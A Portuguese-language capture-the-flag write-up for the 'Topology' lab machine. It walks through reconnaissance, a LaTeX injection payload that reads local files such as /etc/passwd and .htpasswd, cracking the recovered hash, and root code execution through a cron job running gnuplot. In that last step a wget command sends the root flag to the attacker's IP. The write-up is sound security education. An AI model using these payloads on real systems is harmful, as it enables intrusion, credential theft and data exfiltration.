Topology é uma máquina Linux de dificuldade fácil. Nela é preciso abusar de uma vulnerabilidade de injeção de código em uma aplicação de conversão de LaTeX para imagem para conseguir a senha do usuário e depois executar códigos como root por meio de uma tarefa do cron.

Banner


Começando, como sempre, com um scan do nmap encontra-se duas portas abertas, 80 de uma aplicação web e 22 de SSH.

Nmap

Continuando o reconhecimento com um brute force de diretórios, porém não foi encontrado nada útil. Utilizei a wordlist common.txt pois essa máquina estava muito lenta e às vezes não respondia as requests, então wordlists maiores eram inviáveis.

Directory brute-force

A aplicação pode ser acessada direto pelo IP da máquina, sendo que a página principal é de um grupo de estudos de uma universidade. Logo no primeiro projeto do grupo há um link para uma página no subdomínio “latex.topology.htb”.

Página principal

Agora um segundo brute force para encontrar subdomínios da aplicação. Foi possível encontrar o dev e o stats. Para acessar esses e mais o latex é preciso adicionar o IP e os domínios ao arquivo de hosts local.

Subdomains brute-force

A página que encontramos anteriormente na página inicial é uma aplicação que converte códigos de LaTeX para imagens png. Basta inserir o código na caixa de texto e clicar em “Generate” para ser redirecionado para a imagem gerada. Há um filtro para evitar que alguns códigos sejam inseridos, como por exemplo leitura e escrita de arquivos e execução de comandos no sistema operacional.

latex

Seguindo para os outros dois subdomínios encontrados, o stats apresenta duas imagens relativas ao processamento do servidor e da rede, já o dev possui autenticação.

dev

Depois de tentar muitos payloads diferentes consegui fazer a leitura do “/etc/passwd”, assim conseguindo um Local File Injection (LFI). Para isso foi utilizado o código abaixo, o comando “lstinputlisting” permite a inclusão de arquivos e não está sendo bloqueado pelo filtro.

$\lstinputlisting{/etc/passwd}$

LFI via latex

Como é possível ler os arquivos locais da máquina, eu utilizei essa vulnerabilidade para ler o arquivo “.htpasswd” que armazena os usuários e hashes de autenticação do subdomínio dev. Assim obtendo o seguinte hash.

.htpasswd

Esse hash é do Apache e possui o código 1600 para o hashcat, então utilizando essa ferramenta quebrei o hash com a wordlist rockyou.txt, sendo a senha calculus20.

Hashcat

Agora com o usuário e senha podemos acessar a página do subdomínio dev mas não há nada de interessante nela. E como o usuário reutilizou a senha para o seu acesso via SSH, conseguimos acesso à máquina e a primeira flag.

user.txt

Com a ferramenta pspy para análise dos processos da máquina encontra-se uma tarefa do cron do root para execução do gnuplot com todos os arquivos que possuem a extensão .plt que estejam no diretório /opt/gnuplot.

pspy

O usuário vdaisley possui permissão de escrita e execução nesse diretório, mas não de leitura. Então qualquer arquivo com a extensão que colocarmos alí será executado como root no gnuplot.

gnuplot

Para execução de comandos do sistema operacional pelo gnuplot precisa utilizar a função system. Para ser mais fácil ao invés de conseguir uma shell como root eu apenas me enviei a flag. Para isso eu fiz com requisição http para a minha máquina passando como diretório o conteúdo do arquivo da flag, conforme o código abaixo, mas qualquer comando poderia ser executado.

system "wget http://10.10.14.87:8080/$(cat /root/root.txt)"

root.txt

Assim conseguimos a flag de root e finalizamos a máquina.